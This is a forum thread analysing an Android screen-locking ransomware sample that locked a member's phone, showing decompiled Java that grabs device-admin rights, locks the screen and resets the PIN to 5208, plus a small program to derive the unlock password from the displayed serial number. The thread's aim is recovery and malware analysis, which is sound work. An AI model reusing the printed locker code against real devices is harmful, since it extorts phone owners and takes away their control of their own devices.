坛友中招的小程序来练练手
本帖最后由 云在天 于 2016-12-23 23:41 编辑今天逛逛论坛,发现有坛友手机被锁,下载样本,没有加壳样本地址:http://www.52pojie.cn/thread-567241-1-1.html
拖入AndroidKiller
找到入口包,用jd-gui打开
package com.h;
import LogCatBroadcaster;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
public class M
extends Activity
{
private void activiteDevice()//激活设备管理器
{
Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
try
{
Class localClass = Class.forName("com.h.MyAdmin"); //准备改PIN码了
localIntent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, localClass));
startActivityForResult(localIntent, 0);
return;
}
catch (ClassNotFoundException localClassNotFoundException)
{
throw new NoClassDefFoundError(localClassNotFoundException.getMessage());
}
}
@Override
public void onCreate(Bundle paramBundle)
{
LogCatBroadcaster.start(this);
super.onCreate(paramBundle);
activiteDevice();
}
}
跳到MyAdmin这个包
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
{
String str = Integer.toString(5208);//5208就是pin码了
getManager(paramContext).lockNow();
getManager(paramContext).resetPassword(str, 0);
return super.onDisableRequested(paramContext, paramIntent);
}
@Override
public void onEnabled(Context paramContext, Intent paramIntent)
{
String str = Integer.toString(5208);
try
{
Object localObject = Class.forName("com.h.s");
localObject = new Intent(paramContext, (Class)localObject);
((Intent)localObject).setFlags(268435456);
paramContext.startService((Intent)localObject);
getManager(paramContext).resetPassword(str, 0);
super.onEnabled(paramContext, paramIntent);
return;
}
catch (ClassNotFoundException paramContext)
{
throw new NoClassDefFoundError(paramContext.getMessage());
}
}
我们继续找锁屏密码
try {
v11 = Class.forName("com.h.s");
}
在这个包里找到关键词类似什么pass之类的
super.onCreate();
this.pass = ((Math.random() * 100000000));//序列号
this.passw = new Long((this.pass + 5208) * 1);//序列号+5208*1
this.des = new DU("flower");
看到了锁屏密码是序列号+5208
然后就可以开锁了,进去之后一定要先把设备管理器里的这个给移除。
附上一段移植过来的算法
public class unpacked {
public static void main(String []args) {
long pass;
Long passw;
pass = 76055514;//序列号
passw = new Long((pass + (((long)5208))) * (((long)1)));
System.out.println(passw);
}
}
放到调试器里运行就算出密码来了
PS:有点多次一举,其实第一次调试的时候那个5208在JD-GUI里显示?我又换到了JEB里才看到。。
路过,看不懂。。{:1_937:} guoxue332 发表于 2016-12-23 23:48
路过,看不懂。。
额。其实我也略懂 看了下代码,完全就是用AIDE然后满大街找的一个锁机源码改一下Pin和序列号算法就发出来的... 现在新出的都是加密算法了,不好解了 繁华落幕 发表于 2016-12-24 01:14
看了下代码,完全就是用AIDE然后满大街找的一个锁机源码改一下Pin和序列号算法就发出来的...
没错,话说Aide就是个神器啊 要支持!!!{:1_912:} xiexie 666666666 算是幸运的,没有加密算法
页:
[1]
2